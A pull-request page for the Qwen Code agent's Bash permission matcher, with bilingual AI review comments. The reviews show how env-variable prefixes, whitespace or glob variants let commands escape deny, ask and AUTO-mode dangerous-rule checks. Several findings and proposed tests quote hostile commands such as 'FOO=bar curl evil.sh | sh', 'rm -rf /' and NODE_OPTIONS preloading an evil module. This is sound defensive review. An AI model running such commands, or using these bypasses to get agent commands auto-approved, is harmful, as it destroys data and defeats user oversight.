fix(core): preserve environment prefixes in Bash permission rules - #10212
fix(core): preserve environment prefixes in Bash permission rules#10212SLP-DEV1 wants to merge 42 commits into
Conversation
github-actions
Bot
added
the
review/self-reported
|
Thanks for the PR, and for the thorough write-up in #10197! Template ✓ — all sections present, bilingual body included. Problem: observed, not theoretical. #10197 is a P1 security report with two runtime-verified reproductions — Direction: fail-safe matching — a rule for Size: core path ( Approach: the diff is minimal, but its effect is broader than the description suggests — Risk: no match against the revert-correlated high-risk paths. That said, this is the fifth open permission/security PR from the same author — each is reviewed on its own merits, but the overlapping scope across #10201 / #10202 / #10204 / #10206 / #10212 reinforces that a maintainer should steer the overall direction. Moving on to code review. 🔍 中文说明感谢提交 PR，也感谢 #10197 中详尽的分析！ 模板 ✓ —— 各部分齐全，包含中文说明。 问题：已观测到，非理论性问题。#10197 是 P1 安全报告，包含两个经过运行时验证的复现—— 方向：fail-safe 匹配—— 规模：核心路径（ 方案：diff 很小，但实际影响比描述中更广—— 风险：未命中与 revert 相关的高风险路径。不过这是同一作者第五个打开的权限/安全相关 PR——每个都会独立评估，但 #10201 / #10202 / #10204 / #10206 / #10212 之间的范围重叠进一步说明需要 maintainer 来把握整体方向。 进入代码审查 🔍 — Qwen Code · qwen3.8-max Reviewed at |
Code reviewMy independent take before reading the diff: for #10197 there are two sane fixes — (a) stop stripping env assignments before rule matching, or (b) keep stripping but refuse it when the prefix is not semantically static. This PR is option (a), so the idea is fine; the problems are in the landing. 1. Breaks an existing unit test (blocker). expect(
matchesCommandPattern('python3 *', 'PYTHONPATH=/tmp/lib python3 -c "print(1)"'),
).toBe(true);After this change that returns 2. Conflicts with open PR #10204 (blocker). Same author, same function, opposite semantics: #10204 adds a 3. Broader than the description (suggestion). The body speaks of "concrete Bash allow rules", but the change applies to every pattern kind in 4. Adjacent path still strips (note, non-blocking). No diagram or files table — two files, one function; they wouldn't earn their place. Test evidenceThe PR's own CI (the
Finding 1 is therefore a static prediction (high confidence — the assertion and the new code path are both quoted above), not a CI observation; when the suite runs, it is the first thing it will report. Not verified end-to-end: the actual Sandboxed verification would settle this: 中文说明代码审查读 diff 之前我自己的方案：针对 #10197 有两种合理修法——(a) 规则匹配前不再剥离环境变量赋值；(b) 保留剥离，但前缀语义上不静态时拒绝。本 PR 是 (a)，思路没问题，问题出在落地上。 1. 破坏现有单测（阻塞）。 2. 与打开的 PR #10204 冲突（阻塞）。同一作者、同一函数、语义相反：#10204 增加 3. 实际范围比描述更广（建议）。正文说的是"具体（concrete）Bash allow 规则"，但此修改作用于 4. 相邻路径仍在剥离（备注，非阻塞）。 两个文件、一个函数，序列图和文件表没有信息量，省略。 测试证据该 PR 自己的 CI（ 因此发现 1 是静态推断（高置信——断言与新代码路径均已在上文引用），不是 CI 观测结果；套件一旦运行，这将是它最先报告的问题。端到端未验证：运行时经 AST / 虚拟操作回退路径实际得到 沙箱验证可以定论： — Qwen Code · qwen3.8-max Reviewed at |
|
Confidence: 2/5 — right instinct, but it breaks the existing suite as written and collides head-on with the author's own #10204. Stepping back: the problem is real and the fail-safe direction is defensible — an allow rule for
So: requesting changes on the concrete suite breakage, and escalating the direction question — @tanzhenxin (maintainers), this needs a human call before either #10212 or #10204 goes further: full fail-safe, substitution-only guard, or a curated loader-variable denylist. The answer determines which of these PRs should live. 🙏 中文说明置信度：2/5 —— 方向直觉是对的，但按现状会弄红现有测试套件，并与作者自己的 #10204 正面冲突。 退一步看：问题真实存在，fail-safe 方向也站得住脚——允许
因此：就具体的套件破坏提出修改请求，并把方向问题升级——@tanzhenxin（maintainers），在 #10212 或 #10204 任一继续推进之前需要人工拍板：完全 fail-safe、仅防替换、还是维护一份加载器变量名单。答案决定这两个 PR 中哪一个应该留下。🙏 — Qwen Code · qwen3.8-max Reviewed at |
There was a problem hiding this comment.
@SLP-DEV1 Needs some rethinking — see my notes above. The two blockers: (1) the existing 'matches commands with leading env var assignments' test in permission-manager.test.ts asserts the old behavior and will fail with this change — flipping that tested compatibility choice needs to be explicit, not a side effect; (2) this and your open #10204 edit the same call site with opposite semantics and cannot both merge — a maintainer needs to pick the direction first. 🙏
|
Qwen Code review did not complete successfully. The review pipeline failed before a review could be posted. A transient error is retried automatically; if you are seeing this, retry with |
|
/review |
|
@qwen-code /review |
|
Validation after the review fixes: workspace build passed; focused Vitest suite passed 599/599 (9 env-prefix + 69 shell-utils + 109 shell-semantics + 412 permission-manager); ESLint |
qwen-code-ci-bot
left a comment
qwen-code-ci-bot
left a comment
There was a problem hiding this comment.
Partially reviewed — gaps disclosed.
Not explored to full depth (tool budget reached): "agent 6c": running the new/existing vitest suites — the worktree has node_modules but no built packages/core/dist , the vitest globalSetup guard stopped the run, and I ….
Not reviewed: reverse audit — stopped before round 5 by the review time budget.
中文说明
仅完成部分审查，审查缺口已披露。
未探索到全部深度（达到工具调用预算）："agent 6c"：running the new/existing vitest suites — the worktree has node_modules but no built packages/core/dist , the vitest globalSetup guard stopped the run, and I …。
未审查：反向审计——评审时间预算不足，未能开始第 5 轮。
— qwen3.8-max via Qwen Code /review (v0.22.2)
| if (firstCommandToken > 0) { | ||
| return trimmed; | ||
| } |
There was a problem hiding this comment.
[Critical] R1-1: Preserving the env prefix is applied uniformly to every rule kind, but matchesRule (rule-parser.ts:1586) serves deny, ask, and allow rules through this one matchesCommandPattern call site — so command-specific deny and ask rules silently stop matching env-prefixed commands that they matched before this PR. Under-matching is fail-closed for allow rules (the intended fix) but fail-open for restrictive rules.
Concretely, all probe-verified at this commit: with permissions.deny: ["Bash(rm -rf *)"], FOO=1 rm -rf / resolved to 'deny' before this PR and now resolves to 'ask' — and in YOLO mode needsConfirmation('ask', YOLO) is false, so the explicitly denied command executes with no prompt. With allow: ["Bash(*)"] + deny: ["Bash(rm -rf *)"], the same command resolves to 'allow' in default mode (was 'deny'). With ask: ["Bash(git push *)"] + allow: ["Bash"], FOO=bar git push --force resolves to 'allow' (was 'ask'). Without a broad allow rule the outcome is always 'ask' — still a downgrade of an explicit hard deny into a prompt the user can approve. No test in this diff exercises a deny or ask rule against an env-prefixed command.
Witness:
PR arm: deny rule vs `FOO=1 rm -rf /` = "ask" (pre-change: "deny")
allow Bash(*) + deny case = "allow" (pre-change: "deny")
ask-rule case = "allow" (pre-change: "ask")
needsConfirmation('ask', YOLO) = false
Fix direction: normalize asymmetrically by rule kind — keep the new identity-exact matching for allow rules, but have restrictive (deny/ask) matching also test the assignment-stripped form (e.g. thread the rule behavior through matchesRule into matchesCommandPattern, or retry the stripped form in evaluateSingle's deny/ask loops), so restrictive coverage is never narrower than before this PR.
When fixing, please add a test asserting that a PermissionManager with deny: ['Bash(rm -rf *)'] resolves FOO=1 rm -rf / to 'deny' (today 'ask'), plus an ask-rule analogue resolving to 'ask' — removing the dual-shape matching must turn both red.
中文说明
环境前缀保留被无差别地应用到所有规则类型，但 matchesRule（rule-parser.ts:1586）通过唯一的 matchesCommandPattern 调用点同时服务 deny、ask 和 allow 规则——因此命令级 deny 和 ask 规则会静默地不再匹配带环境前缀的命令，而这些命令在本 PR 之前是能匹配的。匹配变窄对 allow 规则是保守失败（即本 PR 的预期修复），对限制性规则却是开放失败。
以下均已在该提交上用探针验证：配置 permissions.deny: ["Bash(rm -rf *)"] 时，FOO=1 rm -rf / 在本 PR 之前解析为 'deny'，现在解析为 'ask'——而 YOLO 模式下 needsConfirmation('ask', YOLO) 为 false，被显式拒绝的命令会在无任何提示的情况下执行。配置 allow: ["Bash(*)"] + deny: ["Bash(rm -rf *)"] 时，同一命令在默认模式下解析为 'allow'（原来是 'deny'）。配置 ask: ["Bash(git push *)"] + allow: ["Bash"] 时，FOO=bar git push --force 解析为 'allow'（原来是 'ask'）。若没有宽泛的 allow 规则，结果总是 'ask'——这仍是把显式硬拒绝降级为用户可能批准的提示。本 diff 中没有任何测试让 deny 或 ask 规则面对带环境前缀的命令。
修复方向：按规则类型做非对称规范化——allow 规则保留新的身份精确匹配，但限制性（deny/ask）匹配同时尝试去除赋值前缀的形式（例如把规则类型经 matchesRule 传入 matchesCommandPattern，或在 evaluateSingle 的 deny/ask 循环中重试去前缀形式），使限制性规则的覆盖面永不低于本 PR 之前。
修复时请补充测试：deny: ['Bash(rm -rf *)'] 的 PermissionManager 对 FOO=1 rm -rf / 应解析为 'deny'（当前为 'ask'），以及 ask 规则的对应断言（应为 'ask'）——移除双形态匹配后这两个测试必须变红。
— qwen3.8-max via Qwen Code /review (v0.22.2)
| if (firstCommandToken > 0) { | ||
| return trimmed; | ||
| } |
There was a problem hiding this comment.
[Critical] R1-3: This diff makes env-prefixed Bash allow rules a live rule shape for the first time (pre-change they could never match anything), but the AUTO-mode dangerous-rule classifier was not updated with them: isDangerousBashRule in dangerousRules.ts classifies on the first whitespace token, which for Bash(X=1 python *) is x=1 — not in DANGEROUS_BASH_INTERPRETERS. Such rules are therefore not stashed by stripDangerousRulesForAutoMode (nor by the AUTO invariants in addSessionAllowRule/addPersistentRule) and auto-approve interpreter execution in AUTO mode without the classifier ever seeing them.
Probe-verified at this commit: settings permissions.allow: ["Bash(X=1 python *)"], user enters AUTO mode, model runs X=1 python -c '<arbitrary code>' → auto-allowed ('allow'). The equivalent unprefixed rule Bash(python *) is correctly classified dangerous, stashed, and resolves to 'ask'. The env prefix is now a universal bypass for the whole interpreter list (python, npx, ssh, …), and this diff is what activates the bypass shape — the PR body now tells users to write exactly these prefixed rules.
Witness:
isDangerousBashRule(Bash(X=1 python *)) = false (control Bash(python *) = true)
AUTO-session stash = {persistent: [], session: []}
evaluate(`X=1 python -c "print(1)"`) in AUTO = "allow"
control Bash(python *): stashed, evaluate = "ask"
pre-change (rule dead): evaluate = "ask"
Fix direction: in dangerousRules.ts, skip leading NAME=value tokens before classifying the leading command token — reuse ENV_ASSIGNMENT_REGEX from rule-parser.ts so both subsystems agree on what an env prefix is, and X=1 python * is judged exactly like python *.
When fixing, please add expect(isDangerousBashRule(parseRule('Bash(X=1 python *)'))).toBe(true) plus a findDangerousAllowRules stripping assertion to dangerousRules.test.ts — removing the env-skip must turn them red.
中文说明
本 diff 首次让带环境前缀的 Bash allow 规则成为有效的规则形态（此前它们永远匹配不到任何命令），但 AUTO 模式的危险规则分类器没有同步更新：dangerousRules.ts 中的 isDangerousBashRule 按第一个空白分词分类，对 Bash(X=1 python *) 取到的是 x=1——不在 DANGEROUS_BASH_INTERPRETERS 中。因此这类规则不会被 stripDangerousRulesForAutoMode 剥离（也不会被 addSessionAllowRule/addPersistentRule 的 AUTO 不变量拦截），在 AUTO 模式下会自动批准解释器执行，分类器完全看不到它们。
已在该提交上探针验证：配置 permissions.allow: ["Bash(X=1 python *)"]，用户进入 AUTO 模式，模型运行 X=1 python -c '<任意代码>' → 自动放行（'allow'）。等价的不带前缀规则 Bash(python *) 被正确判定为危险、被剥离并解析为 'ask'。环境前缀现在是整个解释器清单（python、npx、ssh 等）的通用绕过方式，而激活这一绕过形态的正是本 diff——PR 正文现在正是让用户写这种带前缀的规则。
修复方向：在 dangerousRules.ts 中，分类首个命令分词之前先跳过前置的 NAME=value 分词——复用 rule-parser.ts 的 ENV_ASSIGNMENT_REGEX，让两个子系统对"什么是环境前缀"保持一致，使 X=1 python * 与 python * 的判定完全相同。
修复时请在 dangerousRules.test.ts 中补充 expect(isDangerousBashRule(parseRule('Bash(X=1 python *)'))).toBe(true) 及 findDangerousAllowRules 的剥离断言——移除 env 跳过后它们必须变红。
— qwen3.8-max via Qwen Code /review (v0.22.2)
| if (firstCommandToken > 0) { | ||
| return trimmed; | ||
| } |
There was a problem hiding this comment.
[Critical] R1-8: The prefix branch returns trimmed verbatim — no whitespace canonicalization — while the non-prefix branch collapses whitespace via the token rejoin. Whitespace-equivalent spellings of an env-prefixed command therefore silently fail to match explicit env-prefixed rules, including deny rules. This is a defect in the capability this PR introduces: a base-tree A/B shows env-prefixed rules matched nothing pre-diff, so the fragility is new with this PR.
Probe-verified at this commit: with deny: ["Bash(FOO=bar rm -rf *)"], the exact spelling resolves to 'deny' (the new capability works), but FOO=bar\trm -rf / (tab) and FOO=bar rm -rf / (double space) — shell-identical commands — fail the pattern regex and resolve to 'ask': execution wherever 'ask' is auto-approved (e.g. YOLO). An extra benign assignment (FOO=bar BAZ=x rm -rf /) also evades. The allow direction suffers the symmetric failure: explicit prefixed allow rules re-prompt forever on whitespace variants.
Witness:
exact spelling: match = true, e2e = "deny"
tab variant: match = false, e2e = "ask"
double space: match = false, e2e = "ask"
extra assignment: match = false
control (non-prefix branch, double space): `rm -rf /` matches `rm -rf *` = true
BASE arm: env-prefixed deny rules matched nothing pre-diff
Fix direction: canonicalize whitespace in the prefix branch the same way the non-prefix branch does — but quote-preserving. Note the naive return tokens.join(' ') was run as a mutant and demonstrably breaks quoted env values: matchesCommandPattern('FOO="a b" npm', 'FOO="a b" npm') flips true→false because shell-quote strips quotes from tokens. Collapse unquoted whitespace runs in trimmed instead.
When fixing, please add expect(matchesCommandPattern('FOO=bar rm *', 'FOO=bar\trm -rf /')).toBe(true) (plus a double-space variant) and an end-to-end deny assertion for the tab variant — removing the canonicalization must turn them red.
中文说明
前缀分支原样返回 trimmed——不做任何空白规范化——而不带前缀的分支会通过分词重组折叠空白。因此，带环境前缀命令的空白等价写法会静默地无法匹配显式的带前缀规则，包括 deny 规则。这是本 PR 引入的能力自身的缺陷：base 树 A/B 显示 diff 之前带环境前缀的规则什么都匹配不到，所以这一脆弱性是本 PR 新引入的。
已在该提交上探针验证：配置 deny: ["Bash(FOO=bar rm -rf *)"] 时，精确写法解析为 'deny'（新能力有效），但 FOO=bar\trm -rf /（制表符）和 FOO=bar rm -rf /（双空格）——shell 语义上完全相同的命令——无法匹配该模式正则，解析为 'ask'：在任何自动批准 'ask' 的模式下（如 YOLO）即会执行。额外插入一个良性赋值（FOO=bar BAZ=x rm -rf /）同样能绕过。allow 方向存在对称问题：显式带前缀的 allow 规则遇到空白变体会永远重复询问。
修复方向：在前缀分支做与不带前缀分支相同的空白规范化——但必须保留引号。注意：直接改成 return tokens.join(' ') 已作为变异体实际运行过，会破坏带引号的环境变量值：由于 shell-quote 会剥掉分词上的引号，matchesCommandPattern('FOO="a b" npm', 'FOO="a b" npm') 由 true 变为 false。应改为折叠 trimmed 中未加引号的连续空白。
修复时请补充 expect(matchesCommandPattern('FOO=bar rm *', 'FOO=bar\trm -rf /')).toBe(true)（含双空格变体）及制表符变体的端到端 deny 断言——移除空白规范化后它们必须变红。
— qwen3.8-max via Qwen Code /review (v0.22.2)
| if (firstCommandToken > 0) { | ||
| return trimmed; | ||
| } |
There was a problem hiding this comment.
[Critical] R1-10: A single unquoted * or ? in an env-assignment value silently disables the new prefix-preservation branch. shell-quote emits {op:'glob', pattern:<word>} for words containing unquoted */?, and the token loop above pushes token.op — the literal string 'glob' — so ENV_ASSIGNMENT_REGEX never sees the assignment, firstCommandToken stays 0, and this branch never runs; the command normalizes to the mangled 'glob …' join. Explicit env-prefixed rules never match — even character-for-character identical ones. This is in scope as a defect in the capability this PR introduces and documents ("the rule must explicitly include it"): pre-diff, prefixed rules matched nothing, so the mangling defeated nothing.
Probe-verified at this commit: matchesCommandPattern('NODE_OPTIONS=* npm *', 'NODE_OPTIONS=--require=*evil.cjs npm --version') is false while the no-glob control is true; a rule identical to the command (glob in value) also fails, as does a ? variant. End-to-end: deny: ["Bash(NODE_OPTIONS=* npm *)"] vs NODE_OPTIONS=--require=*evil.cjs npm run build resolves to 'ask' instead of 'deny' — execution wherever 'ask' auto-approves (YOLO). The allow direction is equally dead: there is no user-writable prefixed rule that matches a glob-valued env command (the only matching pattern is the undocumented internal form 'glob npm *').
Witness:
matchesCommandPattern('NODE_OPTIONS=* npm *', 'NODE_OPTIONS=--require=*evil.cjs npm --version') = false
control without glob char = true
identical rule/command pair with glob value = false
matchesCommandPattern('glob npm *', …) = true (command normalizes to 'glob …')
e2e deny = "ask" (expected "deny"); no-glob control = "deny"
fix arm (push token.pattern for glob tokens): all probes flip; existing 421 tests still pass
Fix direction: record the glob word, not the op name — in the token loop, push token.pattern for {op:'glob'} tokens with a string pattern, so the assignment regex sees NODE_OPTIONS=--require=*evil.cjs and the prefix branch returns trimmed. Note this also changes the no-prefix join (ls *.ts currently normalizes to 'ls glob') — the existing suites were re-run under this fix (421/421 pass).
When fixing, please add expect(matchesCommandPattern('NODE_OPTIONS=* npm *', 'NODE_OPTIONS=--require=*evil.cjs npm --version')).toBe(true) plus the identical-rule/identical-command glob-value pair — reverting to tokens.push(token.op) must turn both red.
中文说明
环境赋值值中只要出现一个未加引号的 * 或 ?，新的前缀保留分支就会被静默禁用。shell-quote 对含未加引号 */? 的词返回 {op:'glob', pattern:<word>}，而上方的分词循环 push 的是 token.op——字面字符串 'glob'——于是 ENV_ASSIGNMENT_REGEX 永远看不到该赋值，firstCommandToken 保持为 0，本分支永远不会执行；命令被规范化为被破坏的 'glob …' 拼接。显式的带环境前缀规则永远无法匹配——即使规则与命令逐字符相同。这属于本 PR 引入并明文承诺的能力（"规则必须显式包含该前缀"）自身的缺陷：diff 之前带前缀规则什么都匹配不到，因此该分词破坏此前不会造成任何损失。
已在该提交上探针验证：matchesCommandPattern('NODE_OPTIONS=* npm *', 'NODE_OPTIONS=--require=*evil.cjs npm --version') 为 false，而不含 glob 字符的对照为 true；规则与命令完全相同（值含 glob）的配对同样失败，? 变体亦然。端到端：deny: ["Bash(NODE_OPTIONS=* npm *)"] 对 NODE_OPTIONS=--require=*evil.cjs npm run build 解析为 'ask' 而非 'deny'——在任何自动批准 'ask' 的模式下（YOLO）即会执行。allow 方向同样失效：不存在用户可写的带前缀规则能匹配值含 glob 的环境命令（唯一能匹配的模式是未文档化的内部形态 'glob npm *'）。
修复方向：记录 glob 词本身而不是操作符名——在分词循环中，对带字符串 pattern 的 {op:'glob'} 分词 push token.pattern，使赋值正则能看到 NODE_OPTIONS=--require=*evil.cjs，前缀分支返回 trimmed。注意这也会改变不带前缀时的拼接（ls *.ts 目前被规范化为 'ls glob'）——已在此修复下重跑现有套件（421/421 通过）。
修复时请补充 expect(matchesCommandPattern('NODE_OPTIONS=* npm *', 'NODE_OPTIONS=--require=*evil.cjs npm --version')).toBe(true) 及规则/命令逐字符相同的 glob 值配对——改回 tokens.push(token.op) 后两者必须变红。
— qwen3.8-max via Qwen Code /review (v0.22.2)
| // This function matches a single pattern against a single simple command. | ||
| // Compound command splitting is handled by the caller (PermissionManager). | ||
| const normalizedCommand = stripLeadingVariableAssignments(command); | ||
| const normalizedCommand = normalizeCommandForPermissionMatch(command); |
There was a problem hiding this comment.
[Critical] R1-2: The matching identity changed here, but the rule-generation side was not updated with it: extractCommandRules (shellAstParser.ts, via getCommandName skipping leading variable_assignment nodes) still strips env prefixes, and shell.ts's confirmation flow persists exactly what it returns. An "Always allow" grant for an env-prefixed command is therefore dead on arrival under this PR's own matching.
Probe-verified at this commit: extractCommandRules('FOO=bar npm install') returns ["npm install"] (pinned by the existing 'handles env var prefix' test in shellAstParser.test.ts); matchesCommandPattern('npm install', 'FOO=bar npm install') is false — this PR's own new end-to-end test pins exactly this mismatch; a PermissionManager holding the granted Bash(npm install) evaluates FOO=bar npm install to 'ask' (pre-change matcher: 'allow'). The user is re-prompted forever for the command they were told would never ask again — and this breaks the escape hatch the PR body itself advertises ("users who want to allow the prefixed form can write that prefixed form explicitly"): the interactive grant path cannot produce the prefixed form, only hand-editing settings can. The direction is fail-closed (extra prompts, never extra permission), but a previously working grant flow silently stops working.
Witness:
extractCommandRules('FOO=bar npm install') = ["npm install"]
matchesCommandPattern('npm install', 'FOO=bar npm install') = false
PM with granted Bash(npm install): evaluate('FOO=bar npm install') = "ask"
pre-change matcher with the same grant: "allow"
Fix direction: align the generator with the new identity — make extractCommandRules retain leading env assignments in the emitted rule (e.g. FOO=bar npm install) so persisted grants round-trip through the matcher; update the now-stale 'handles env var prefix' expectation in shellAstParser.test.ts in the same change.
When fixing, please add a round-trip test — the rule produced by extractCommandRules('FOO=bar npm install') must match FOO=bar npm install via pm.evaluate → 'allow' — removing the generator fix must turn it red.
中文说明
匹配身份在本处发生了变化，但规则生成侧没有同步更新：extractCommandRules（shellAstParser.ts，其 getCommandName 会跳过前置的 variable_assignment 节点）仍然剥离环境前缀，而 shell.ts 的确认流程持久化的正是它的返回值。因此，在本 PR 自己的匹配规则下，对带环境前缀命令的"始终允许"授权在落地那一刻就是死的。
已在该提交上探针验证：extractCommandRules('FOO=bar npm install') 返回 ["npm install"]（由 shellAstParser.test.ts 中现有的 'handles env var prefix' 测试固化）；matchesCommandPattern('npm install', 'FOO=bar npm install') 为 false——本 PR 新增的端到端测试恰好固化了这一失配；持有已授权 Bash(npm install) 的 PermissionManager 对 FOO=bar npm install 求值为 'ask'（修改前的匹配器为 'allow'）。用户被告知"不再询问"的命令会永远重复询问——这同时破坏了 PR 正文自己宣传的出路（"想允许带前缀形式的用户可以显式写出该前缀"）：交互式授权路径产不出带前缀的形式，只有手改配置可以。方向上是保守失败（只会多问，不会多放行），但一条原本可用的授权流程被静默地变成永久失效。
修复方向：让生成器与新身份对齐——使 extractCommandRules 在生成的规则中保留前置环境赋值（如 FOO=bar npm install），使持久化的授权能在匹配器中闭环；同一修改中更新 shellAstParser.test.ts 里已过期的 'handles env var prefix' 期望。
修复时请补充闭环测试：extractCommandRules('FOO=bar npm install') 产出的规则必须能通过 pm.evaluate 匹配 FOO=bar npm install 并得到 'allow'——移除生成器修复后该测试必须变红。
— qwen3.8-max via Qwen Code /review (v0.22.2)
| expect( | ||
| matchesCommandPattern( | ||
| 'python3 *', | ||
| 'PYTHONPATH=/tmp/lib python3 -c "print(1)"', | ||
| ), | ||
| ).toBe(false); |
There was a problem hiding this comment.
[Suggestion] R1-4: This assertion — matchesCommandPattern('python3 *', 'PYTHONPATH=/tmp/lib python3 -c "print(1)"') === false — is duplicated verbatim in the test this PR renames in permission-manager.test.ts (~lines 345-352). When env-prefix semantics change again — exactly what this PR just did, flipping that expectation from true to false — both files must be edited in lockstep; this PR already had to touch both for one behavior change. A future change applied to only one copy leaves the other silently asserting stale semantics, and the duplicate adds no coverage (same function, same inputs).
Fix: keep the case in one place only — e.g. drop these six lines here since permission-manager.test.ts's matchesCommandPattern suite already pins the glob case (or conversely let this dedicated file own all env-prefix cases).
中文说明
该断言——matchesCommandPattern('python3 *', 'PYTHONPATH=/tmp/lib python3 -c "print(1)"') === false——与本 PR 在 permission-manager.test.ts（~345-352 行）中重命名的测试逐字重复。当环境前缀语义再次变化时——本 PR 刚刚做的正是这件事，把该期望从 true 翻转为 false——两个文件必须同步修改；本 PR 已经为一次行为变更同时改动了两个文件。未来只改其中一份会让另一份静默地断言过期语义，且这份重复不带来任何覆盖（同一函数、同一输入）。
修复：只在一处保留该用例——例如删掉这里的六行，由 permission-manager.test.ts 的 matchesCommandPattern 套件继续固化 glob 用例（或反过来，让本专属文件拥有全部环境前缀用例）。
— qwen3.8-max via Qwen Code /review (v0.22.2)
| ).toBe(false); | ||
| }); | ||
|
|
||
| it('allows an env-prefixed command when the rule explicitly includes it', () => { |
There was a problem hiding this comment.
[Suggestion] R1-5: All env-prefixed inputs in this suite are unquoted and single-spaced, so they do not pin the function's return trimmed choice: the one-line mutation return trimmed; → return tokens.join(' '); in normalizeCommandForPermissionMatch survives every test this PR adds — this was run as a mutant: all 9 new tests plus all 22 matchesCommandPattern tests in permission-manager.test.ts pass under it.
The discriminator is a quoted env value: shell-quote's parse() strips quotes, so the mutant rejoins FOO="a b" npm to FOO=a b npm, and matchesCommandPattern('FOO="a b" npm', 'FOO="a b" npm') flips true→false (probe-verified). A regression from "preserve the original command string" to "rejoin parsed tokens" would silently break exactly the explicitly-prefixed allow rules this PR tells users to write, escalating them to 'ask'.
Fix: add a quoted env-value case in this test, e.g. expect(matchesCommandPattern('FOO="a b" npm', 'FOO="a b" npm')).toBe(true); — it goes red under the mutation while all current tests stay green.
中文说明
本套件中所有带环境前缀的输入都未加引号且只有单空格，因此无法固化函数对 return trimmed 的选择：normalizeCommandForPermissionMatch 中的单行变异 return trimmed; → return tokens.join(' '); 能在本 PR 新增的全部测试下存活——已实际运行该变异体：9 个新测试加 permission-manager.test.ts 中全部 22 个 matchesCommandPattern 测试在其下均通过。
判别输入是带引号的环境变量值：shell-quote 的 parse() 会剥掉引号，变异体会把 FOO="a b" npm 重组为 FOO=a b npm，于是 matchesCommandPattern('FOO="a b" npm', 'FOO="a b" npm') 由 true 变为 false（已探针验证）。从"保留原始命令字符串"回退为"重组解析后的分词"会静默破坏本 PR 让用户去写的那种显式带前缀 allow 规则，把它们升级为 'ask'。
修复：在本测试中补充一个带引号环境变量值的用例，例如 expect(matchesCommandPattern('FOO="a b" npm', 'FOO="a b" npm')).toBe(true);——该变异体下它会变红，而现有测试全部保持绿色。
— qwen3.8-max via Qwen Code /review (v0.22.2)
|
@qwen-code /review |
qwen-code-ci-bot
left a comment
qwen-code-ci-bot
left a comment
There was a problem hiding this comment.
Partially reviewed — gaps disclosed.
Not reviewed: build-and-test (test phase) — the full build-test scoped suites never started (runner's forced-clean build phase exhausted the per-call budget across 4 calls; infrastructure, not a diff defect); focused suites ran green separately at HEAD (env-prefix 15/15, permission-manager 414, dangerousRules 110, shellAstParser 547/548 with one pre-existing bounded-time timing flake reproduced on the base commit), and the test-efficacy probe was inconclusive on baseline-environment grounds.
Convergence: round 3 posted 7 inline comment(s), 7 of them reported for the first time; the previous round posted 10 (5 new). Findings keep coming back to the same files: packages/core/src/permissions/rule-parser.ts (findings in rounds 1, 2; 3 more now). The rate of new findings is not falling. A cluster that keeps producing siblings usually means the fixes are treating instances of a shared root cause — triaging that cause before the next round, or splitting an independent cluster into its own pull request, tends to end the loop faster than fixing them one at a time. Batching the remaining fixes and verifying them before the next push, or dropping this PR's reviews to --severity-floor critical, keeps the loop from re-deriving the same set. (Observation only — nothing was withheld from this review because of this observation.)
中文说明
仅完成部分审查，审查缺口已披露。
未审查：build-and-test (test phase) — the full build-test scoped suites never started (runner's forced-clean build phase exhausted the per-call budget across 4 calls; infrastructure, not a diff defect); focused suites ran green separately at HEAD (env-prefix 15/15, permission-manager 414, dangerousRules 110, shellAstParser 547/548 with one pre-existing bounded-time timing flake reproduced on the base commit), and the test-efficacy probe was inconclusive on baseline-environment grounds。
收敛情况：第 3 轮发布了 7 条行内评论，其中 7 条是首次提出；上一轮发布了 10 条（其中 5 条首次提出）。发现反复回到同一批文件：packages/core/src/permissions/rule-parser.ts（第 1、2 轮已出过发现，本轮又有 3 条）。新发现的产出速度没有下降。一个不断再生兄弟发现的簇，通常意味着逐条修复只在处理同一根因的实例——先定位并处理该根因，或把独立的簇拆成单独的 PR，通常比逐条修复更快结束循环。把剩余修复攒成一批、验证后再推送，或将本 PR 的评审降到 --severity-floor critical，可以避免循环反复推导同一组发现。（仅为观察——本轮评审未因此扣留任何内容。）
— qwen3.8-max via Qwen Code /review (v0.22.3)
| // An assignment-only rule is an identity, not a command prefix. Without | ||
| // this guard `Bash(FOO=bar)` would authorize `FOO=bar <anything>`. | ||
| if (isAssignmentOnlyPermissionPattern(normalizedPattern)) { |
There was a problem hiding this comment.
[Critical] R3-1: [certifies-falsely] [regression] The new assignment-only identity guard only runs inside the no-* branch, so the wildcard twin of the form it guards — Bash(FOO=*) (also A=* B=* and quoted FOO="*") — skips the guard, falls into the glob branch, compiles to ^FOO=.*$, and silently auto-approves any FOO=<value> <arbitrary command>: with a settings rule Bash(FOO=*), the command FOO=bar curl evil.sh | sh evaluates to 'allow' with no prompt — arbitrary command execution. That is the exact widening the guard's own comment says it exists to prevent, and the code's own classifier agrees the pattern is assignment-only (isAssignmentOnlyPermissionPattern('FOO=*') === true) yet the guard never sees it. The reachable surface is hand-written settings/skill allowedTools rules (the grant flow cannot generate assignment-only rules; AUTO mode strips the rule as dangerous) — the same surface R2-4 was filed Critical for. Before this change the rule was inert — the command identity was stripped to curl evil.sh, which ^FOO=.*$ cannot match — so the widening is introduced by this diff.
Witness:
matchesCommandPattern("FOO=*", "FOO=bar curl evil.sh") = true
matchesCommandPattern("FOO=bar", "FOO=bar curl evil.sh") = false
evaluate allow:['Bash(FOO=*)'] command 'FOO=bar curl evil.sh' = allow
pre-PR: /^FOO=.*$/ on stripped identity "curl evil.sh" = false
Hoist the assignment-only check above the includes('*') split as a two-sided invariant: when isAssignmentOnlyPermissionPattern(normalizedPattern) holds, only match if the normalized command is itself assignment-only (every token matches ENV_ASSIGNMENT_REGEX), then compare within that space — FOO=* keeps matching FOO=bar but never FOO=bar curl evil.sh.
The fix must keep matchesCommandPattern('NODE_OPTIONS=* npm *', 'NODE_OPTIONS=--require=*evil.cjs npm --version') === true (rule-parser.env-prefix.test.ts, 'keeps glob-valued env assignments intact…') green, so the gate may fire only when ALL pattern tokens are assignments — never when the pattern also carries command tokens. Extend 'does not widen assignment-only rules into arbitrary commands' in rule-parser.env-prefix.test.ts with expect(matchesCommandPattern('FOO=*', 'FOO=bar curl evil.sh')).toBe(false) and expect(matchesCommandPattern('FOO=*', 'FOO=bar')).toBe(true), and prove it by removing the hoisted guard and watching the first assertion go red.
中文说明
